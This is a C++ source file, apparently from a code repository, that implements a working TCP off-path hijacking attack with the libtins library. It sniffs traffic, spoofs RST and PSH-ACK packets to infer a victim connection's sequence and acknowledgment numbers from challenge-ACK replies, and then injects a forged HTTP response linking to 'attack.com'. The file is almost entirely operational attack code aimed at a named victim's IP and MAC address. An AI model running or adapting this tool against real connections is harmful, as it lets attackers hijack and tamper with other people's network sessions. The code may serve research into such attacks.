You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

694 lines
18 KiB

  1. #include <tins/tins.h>
  2. #include <cassert>
  3. #include <iostream>
  4. #include <string>
  5. #include <unistd.h>
  6. #include <thread>
  7. using std::thread;
  8. using std::cout;
  9. using std::vector;
  10. using namespace Tins;
  11. long current_spoof_seq;
  12. long current_spoof_ack;
  13. long current_min_ack;
  14. long best_seq = 0;
  15. long best_ack;
  16. vector<long> possible_seqs;
  17. vector<long> possible_acks;
  18. int num_sent = 0;
  19. int current_round = 1;
  20. bool ack_search = false;
  21. bool track_nums = false;
  22. bool count_chacks = false;
  23. bool sniffed_chack = false;
  24. bool show = false;
  25. bool testing = true; // if using netcat set to true, else false
  26. int sniff_request = 0; // 0 = off, 1 = sniffing for request, 2 = sniffed that request
  27. std::string victim_wlan_addr, dest_ip, remote_addr;
  28. int sport, dport, request_size, chack_count;
  29. std::string dest_mac; // victim mac addr
  30. std::string src_mac = ""; // src mac doesn't matter
  31. void print_divider(int count) {
  32. int i = 0;
  33. while (i < count) {
  34. cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
  35. i++;
  36. }
  37. }
  38. int inject_junk(long exact_seq, long in_win_ack) {
  39. PacketSender sender;
  40. NetworkInterface iface("wlp1s0");
  41. std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 84\r\nConnection: keep-alive\r\n\r\n<h1><a href=\"https://attack.com\">Just some junk here..</a></h1>";
  42. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU(message);;
  43. TCP& tcp = pkt.rfind_pdu<TCP>();
  44. tcp.set_flag(TCP::PSH, 1);
  45. tcp.set_flag(TCP::ACK, 1);
  46. tcp.seq(exact_seq);
  47. tcp.ack_seq(in_win_ack);
  48. print_divider(2);
  49. cout << "attempting to inject garbage into the connection..\n";
  50. cout << "injected seq: " << exact_seq << ", in-win ack: " << in_win_ack << "\n";
  51. sender.send(pkt, iface);
  52. num_sent ++;
  53. return 1;
  54. }
  55. // Send the same probe a number of times
  56. // to see if the same amount of responses are
  57. // triggered from the client
  58. //
  59. bool rechack(long seq, long ack, int num_checks) {
  60. PacketSender sender;
  61. NetworkInterface iface("wlp1s0");
  62. count_chacks = true;
  63. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
  64. TCP& tcp = pkt.rfind_pdu<TCP>();
  65. if (ack == 0) {
  66. tcp.set_flag(TCP::RST, 1);
  67. } else {
  68. tcp.set_flag(TCP::PSH, 1);
  69. tcp.set_flag(TCP::ACK, 1);
  70. tcp.ack_seq(ack);
  71. }
  72. tcp.seq(seq);
  73. chack_count = 0;
  74. int count = 0;
  75. usleep(1000000 / 2);
  76. while (count < num_checks) {
  77. sender.send(pkt, iface);
  78. num_sent ++;
  79. usleep(1000000 / 2 * 1.2); // must sleep half second due to chack rate limit
  80. count ++;
  81. }
  82. usleep(1000000);
  83. // should have just sniffed as many chacks as we just sent
  84. cout << "end of rechack, count was: " << chack_count << ", should be: " << num_checks << " \n";
  85. if (chack_count >= num_checks) {
  86. return true;
  87. }
  88. count_chacks = false;
  89. return false;
  90. }
  91. // Use the fact the client will respond to empty PSH-ACKs
  92. // that have an in window ack AND a sequence number less than the exact
  93. // next expected sequence, with chall-acks to infer exact sequence num
  94. //
  95. long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) {
  96. PacketSender sender;
  97. NetworkInterface iface("wlp1s0");
  98. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
  99. TCP& tcp = pkt.rfind_pdu<TCP>();
  100. tcp.set_flag(TCP::PSH, 1);
  101. tcp.set_flag(TCP::ACK, 1);
  102. tcp.ack_seq(in_win_ack);
  103. count_chacks = false;
  104. track_nums = false;
  105. long min_seq = in_win_seq - 200; // assuming the in_window_seq is within 200 of the left edge of window
  106. sniffed_chack = false;
  107. long curr_seq = in_win_seq;
  108. // Continually decrement the in window sequence number
  109. // until we sniff a chack which means we just passed the
  110. // left edge of the sequence window
  111. //
  112. print_divider(1);
  113. bool is_found = false;
  114. while (!is_found) {
  115. long j = curr_seq;
  116. sniffed_chack = false;
  117. while (j > min_seq && !sniffed_chack) {
  118. usleep(send_delay);
  119. cout << "spoofing with seq: " << j << "\n";
  120. tcp.seq(j);
  121. sender.send(pkt, iface);
  122. num_sent ++;
  123. j -= 1;
  124. }
  125. usleep(100000);
  126. curr_seq = best_seq;
  127. cout << "best seq at end of exact scan: " << curr_seq << "\n";
  128. print_divider(1);
  129. is_found = rechack(curr_seq, in_win_ack, 2);
  130. if (show) cout << "exact seq was in win after rechack? " << is_found << "\n";
  131. }
  132. return curr_seq;
  133. }
  134. // Use the fact the client will respond to empty PSH-ACKs
  135. // that have an in window sequence number AND ack number less than the
  136. // ack number in use with chall-acks to infer an in-window ack number
  137. //
  138. long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size, int send_delay, bool verbose, int chack_trigs) {
  139. PacketSender sender;
  140. NetworkInterface iface("wlp1s0");
  141. // Loop over ack space sending empty push-acks
  142. // that user the in window sequence number found before
  143. //
  144. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
  145. TCP& tcp = pkt.rfind_pdu<TCP>();
  146. tcp.set_flag(TCP::PSH, 1);
  147. tcp.set_flag(TCP::ACK, 1);
  148. tcp.seq(in_win_seq);
  149. sniffed_chack = false;
  150. chack_count = 0;
  151. count_chacks = true;
  152. track_nums = true;
  153. current_min_ack = min_ack;
  154. long j = max_ack;
  155. long current_ack = 0;
  156. best_ack = 0;
  157. while (j > min_ack && chack_count < chack_trigs) { // was && !sniffed_chack
  158. usleep(send_delay);
  159. tcp.ack_seq(j);
  160. sender.send(pkt, iface);
  161. num_sent ++;
  162. if (verbose && show) cout << "spoofing with ack: " << j << "\n";
  163. if (j < 100000000) { // for tiny ack range
  164. j -= block_size / 100;
  165. } else {
  166. j -= block_size;
  167. }
  168. }
  169. usleep(100000);
  170. for (int i = 0; i < possible_acks.size(); i ++) {
  171. long cack = possible_acks[i];
  172. if (cack > current_ack) current_ack = cack;
  173. }
  174. cout << "best ack at end of ack scan: " << current_ack << "\n";
  175. track_nums = false;
  176. return current_ack;
  177. }
  178. // Finds the "quiet" portion of the ack range to
  179. // start scanning and then begins to find an approx
  180. // ack block close to the one being used
  181. //
  182. long quack_spread(long in_win_seq) {
  183. cout << "starting quack spread w seq: " << in_win_seq << "\n";
  184. long start_ack_guess = 4294967294 / 2;
  185. long end_ack_guess = 100;
  186. long block_size = 100000000;
  187. sniffed_chack = false; // assume its gonna find an ack here first
  188. // if the actual ack is less than half of the max_ack allowed,
  189. // then it will consider acks at the very top end of the ack space (~429.....)
  190. // to be less than that small ack. therefore, we check if the max ack
  191. // triggers chacks right away, if so then we half the start_ack guess (~214....)
  192. bool triggering = rechack(in_win_seq, start_ack_guess, 3);
  193. cout << "is ack in upper half? " << triggering << "\n";
  194. if (triggering) { // then we know the ack is in the lower half of the ack space
  195. start_ack_guess = start_ack_guess * 2;
  196. }
  197. long j = start_ack_guess;
  198. sniffed_chack = false;
  199. print_divider(1);
  200. // Now continually decrement ack until we trigger another chack
  201. //
  202. int send_delay = 75000;
  203. bool is_found = false;
  204. long current_ack = 0;
  205. while (!is_found) {
  206. current_ack = find_ack_block(start_ack_guess, 0, in_win_seq, block_size, send_delay, true, 1);
  207. cout << "finished quiet block spread, guessed quiet block ack: " << current_ack << "\n";
  208. print_divider(1);
  209. // recheck and send multiple to make sure we found correct ack block
  210. is_found = rechack(in_win_seq, current_ack, 2);
  211. if (show) cout << "was in win after rechack? " << is_found << "\n";
  212. if (!is_found) start_ack_guess = current_ack;
  213. }
  214. return current_ack;
  215. }
  216. // Use the fact the client will respond to RSTs
  217. // with an in-window sequence number with chall-acks to
  218. // infer an in-window seq number
  219. //
  220. long find_seq_block(long prev_block_size, long new_block_size, long delay_mult, long send_delay, long top_seq) {
  221. PacketSender sender;
  222. NetworkInterface iface("wlp1s0");
  223. long max_seq = top_seq;
  224. long adder = prev_block_size * delay_mult;
  225. cout << "starting round " << current_round << " spread at: " << (max_seq - adder) << "\n";
  226. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport);
  227. TCP& tcp = pkt.rfind_pdu<TCP>();
  228. tcp.set_flag(TCP::RST, 1);
  229. long i;
  230. for (i = (max_seq - adder); i < max_seq; i += new_block_size) {
  231. tcp.seq(i);
  232. sender.send(pkt, iface);
  233. num_sent ++;
  234. usleep(send_delay);
  235. }
  236. cout << "finished round " << current_round << " spread, guessed in window seq: " << best_seq << "\n";
  237. return best_seq;
  238. }
  239. // Attempt to sniff challenge acks while recording
  240. // the last sequence or ack number we spoofed
  241. //
  242. bool handle_packet(PDU &some_pdu) {
  243. const IP &ip = some_pdu.rfind_pdu<IP>();
  244. if (ack_search) {
  245. // keep track of the last ack num we spoofed
  246. if (ip.src_addr() == remote_addr) current_spoof_ack = some_pdu.rfind_pdu<TCP>().ack_seq();
  247. if (ip.src_addr() == victim_wlan_addr) {
  248. const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
  249. //cout << payload << "\n";
  250. if (payload == 79) { // each triggered chall-ack is 79 length SSL vs ovpn and ubuntu 19
  251. if (show) cout << "sniffed chack w ack: " << (current_spoof_ack) << "\n";
  252. if (count_chacks) chack_count += 1;
  253. if (track_nums) possible_acks.push_back(current_spoof_ack);
  254. if (current_spoof_ack > current_min_ack) best_ack = current_spoof_ack;
  255. sniffed_chack = true;
  256. }
  257. }
  258. } else if (sniff_request == 1) {
  259. // sniffing for a certain client request size (last step after finding seq and ack)
  260. if (ip.src_addr() == victim_wlan_addr) {
  261. const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
  262. cout << "sniffed cli request of size " << payload << "\n";
  263. if (payload == request_size) {
  264. sniff_request = 2;
  265. }
  266. }
  267. } else { // sniffing for chack during sequence search
  268. // keep track of the last sequence num we spoofed
  269. if (ip.src_addr() == remote_addr) current_spoof_seq = some_pdu.rfind_pdu<TCP>().seq();
  270. if (ip.src_addr() == victim_wlan_addr) {
  271. const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
  272. //cout << payload << "\n";
  273. const int remainder = payload % 67;
  274. if (payload == 79) {
  275. if (show) cout << "sniffed chack w seq: " << (current_spoof_seq) << "\n";
  276. if (track_nums) {
  277. best_seq = current_spoof_seq;
  278. possible_seqs.push_back(current_spoof_seq);
  279. } else if (count_chacks) { //
  280. chack_count += 1;
  281. best_seq = current_spoof_seq;
  282. } else {
  283. if (!sniffed_chack) {
  284. if (best_seq == 0) { // still in initial seq spread
  285. best_seq = current_spoof_seq;
  286. sniffed_chack = true;
  287. } else {
  288. // make sure new seq is less than the previous sniffed one
  289. if (current_spoof_seq < best_seq) {
  290. best_seq = current_spoof_seq;
  291. sniffed_chack = true;
  292. }
  293. }
  294. }
  295. }
  296. }
  297. }
  298. }
  299. return true;
  300. }
  301. void sniff_stuff() {
  302. SnifferConfiguration config;
  303. config.set_promisc_mode(true);
  304. Sniffer sniffer("wlp1s0", config);
  305. sniffer.sniff_loop(handle_packet); // call the handle function for each sniffed pack
  306. }
  307. // Try to find an in window sequence number using
  308. // one of the very rough estimates found in the first
  309. // sequence spread
  310. long try_seq_block(long current_seq) {
  311. // Just did round 1 spoofing fast to get rough estimate of
  312. // in window sequence number, now we send a round 2 and 3 spreads
  313. // using the approximated seq with lower send rates
  314. current_round = 2;
  315. sniffed_chack = false;
  316. int wait_count = 0;
  317. best_seq = current_seq;
  318. usleep(1000000 / 2);
  319. // this will take into account the last block size of 50k,
  320. // skip in blocks of 1055 seq nums per send, assume the last
  321. // rounds delay was 80 packets for a response, and send every 150 msecs
  322. long s1 = find_seq_block(50000, 1055, 80, 150, current_seq);
  323. while (best_seq == current_seq) {
  324. usleep(500000);
  325. if (show) cout << "waiting on round 2 chack..\n"; // return -1 if waiting too long
  326. wait_count +=1;
  327. if (wait_count > 5) return -1;
  328. }
  329. // Now we should have a close estimate to an in-window seq
  330. // so next do a third scan at much slower rate to ensure its
  331. // an in-window sequence num
  332. print_divider(1);
  333. usleep(1000000 / 2);
  334. sniffed_chack = false;
  335. current_round += 1;
  336. current_seq = best_seq;
  337. wait_count = 0;
  338. long s2 = find_seq_block(1055, 20, 50, 600, current_seq); // for browser went from 300 to 600
  339. while (best_seq == current_seq) {
  340. usleep(500000);
  341. if (show) cout << "waiting on round 3 chack..\n";
  342. wait_count +=1;
  343. if (wait_count > 5) return -1;
  344. }
  345. return best_seq - 10000; // subtract 10k for wifi delay
  346. }
  347. // Gets rough estimate of sequence number in use
  348. // by spreading entire sequence range quicly then
  349. // tries to find in win sequence using each
  350. //
  351. long find_in_win_seq() {
  352. PacketSender sender;
  353. NetworkInterface iface("wlp1s0");
  354. long start_seq_guess = 1;
  355. long max_seq_num = 4294967295;
  356. track_nums = true; // phase 1 is so fast it sniffs false seq nums so we try each
  357. cout << "spreading the connections entire sequence number range...\n";
  358. usleep(1000000 / 2);
  359. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport);
  360. TCP& tcp = pkt.rfind_pdu<TCP>();
  361. tcp.set_flag(TCP::RST, 1);
  362. long i;
  363. for (i = start_seq_guess; i < max_seq_num; i += 50000) { // sends to the whole sequence num space
  364. tcp.seq(i);
  365. sender.send(pkt, iface);
  366. num_sent ++;
  367. usleep(10);
  368. }
  369. usleep(1000000);
  370. cout << "finished round 1 spread, guessed in window seq: " << best_seq << "\n";
  371. track_nums = false;
  372. int j = 0;
  373. long in_win_seq = -1;
  374. while (j < possible_seqs.size() && in_win_seq == -1) { // try each possible seq block
  375. print_divider(1);
  376. current_round = 0;
  377. if (show) cout << "trying to find in window seq around " << possible_seqs[j] << "\n";
  378. in_win_seq = try_seq_block(possible_seqs[j]);
  379. j ++;
  380. if (show) cout << "in win seq after try? " << in_win_seq << "\n";
  381. usleep(1000000 / 2);
  382. }
  383. possible_seqs.clear();
  384. track_nums = false;
  385. print_divider(1);
  386. usleep(1000000 / 2);
  387. return best_seq;
  388. }
  389. // Send two spoof rounds while increasing the send delay and
  390. // decreasing block size to quickly get in-win ack estimate
  391. //
  392. long find_in_win_ack(long in_win_seq) {
  393. // quack should be below current ack in use but we only rechack once first round
  394. ack_search = true;
  395. long quack = quack_spread(in_win_seq);
  396. // Spoof empty PSH-ACKs starting at 'quack' plus some send delay
  397. // until we sniff a chack and know we just went below the left
  398. // edge of the ack window
  399. usleep(1000000);
  400. print_divider(1);
  401. possible_acks.clear();
  402. long block_size = 10000;
  403. int send_delay = 500;
  404. long max_ack = quack + (1 * 100000000);
  405. long min_ack = quack;
  406. long clack;
  407. bool is_found = false;
  408. while (!is_found) { // retry ack scan until we find block triggering chacks
  409. cout << "starting round 1 ack scan w min: " << min_ack << " and max: " << max_ack << "\n";
  410. clack = find_ack_block(max_ack, min_ack, in_win_seq, block_size, send_delay, false, 2);
  411. is_found = rechack(in_win_seq, clack, 2);
  412. if (show) cout << "was in win after rechack? " << is_found << "\n";
  413. int i = 0;
  414. while (!is_found && i < possible_acks.size()) {
  415. long some_ack = possible_acks[i];
  416. if (show) cout << "finished ack scan 1 w possible in window ack: " << some_ack << "\n";
  417. print_divider(1);
  418. is_found = rechack(in_win_seq, some_ack, 2);
  419. if (show) cout << "was in win after rechack? " << is_found << "\n";
  420. i ++;
  421. if (is_found) clack = some_ack;
  422. }
  423. max_ack = clack;
  424. }
  425. possible_acks.clear();
  426. usleep(1000);
  427. // clack should be an in window ack so now we have both in window
  428. // sequence and in window ack numbers.
  429. //
  430. ack_search = false;
  431. track_nums = false;
  432. // clack has been consistently within 40k of next ack while testing but
  433. // in practical use it needs to be less than the expected ack by at most
  434. // 20k to be accepted as a valid ack, so here we add 20k to counter our delay
  435. // but we could add a third ack scan to make it more accurate
  436. //
  437. long in_win_ack = clack + 30000; // adding extra 30k for wifi delay
  438. return in_win_ack;
  439. }
  440. // After we've found exact seq and in-win ack, attacker waits
  441. // for a specific request size to inject the response into
  442. //
  443. int wait_for_request(long exact_seq, long in_win_ack) {
  444. sniff_request = 1;
  445. int res = 0;
  446. while (sniff_request != 2) {
  447. usleep(500000);
  448. if (show) cout << "waiting for request of size..\n";
  449. }
  450. if(show) cout << "Sniffed request packet to respond to\n";
  451. res = inject_junk(exact_seq, in_win_ack);
  452. return res;
  453. }
  454. // Attempt to infer the exact sequence number
  455. // and in-window ack in use by the connection
  456. //
  457. int phase_three_spread() {
  458. bool is_found = false;
  459. long in_win_seq = 0;
  460. // Loop until we find in window seq
  461. while (!is_found) {
  462. in_win_seq = find_in_win_seq();
  463. print_divider(1);
  464. is_found = rechack(in_win_seq, 0, 2);
  465. cout << "approx seq: " << in_win_seq << " was in win after rechack? " << is_found << "\n";
  466. if (!is_found) usleep(1000000 / 2);
  467. }
  468. // At this point we should have an in-window sequence number and
  469. // next step is to find an in-window ack number for the connection
  470. //
  471. usleep(1000000 / 2);
  472. long in_win_ack = find_in_win_ack(in_win_seq);
  473. in_win_ack += 40000; // add 40k for wifi delay
  474. cout << "scanning for exact sequence num w in-win ack: " << in_win_ack << "\n";
  475. // jump back 40 for wifi delay
  476. long exact_seq = find_exact_seq(in_win_seq - 40, in_win_ack, 100000) + 1; // should be one less than left edge
  477. cout << "final exact seq guess: " << exact_seq << "\n";
  478. cout << "total number of packets sent: " << num_sent << "\n";
  479. print_divider(2);
  480. int res = 0;
  481. if (testing) { // for netcat
  482. res = inject_junk(exact_seq, in_win_ack);
  483. } else { // for normal http injection
  484. cout << "waiting for client to request any page within inferred connection...";
  485. res = wait_for_request(exact_seq, in_win_ack);
  486. }
  487. return res;
  488. }
  489. int main(int argc, char** argv) {
  490. if (argc != 8) {
  491. cout << "sike wrong number of args ---> (remote_ip, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, dport, request_size)\n";
  492. return 0;
  493. }
  494. remote_addr = argv[1];
  495. sport = atoi(argv[2]);
  496. victim_wlan_addr = argv[3];
  497. dest_ip = argv[4];
  498. dest_mac = argv[5];
  499. dport = atoi(argv[6]);
  500. request_size = atoi(argv[7]);
  501. thread sniff_thread(sniff_stuff);
  502. print_divider(2);
  503. int r = phase_three_spread();
  504. sniff_thread.detach();
  505. //sniff_thread.join();
  506. return 0;
  507. }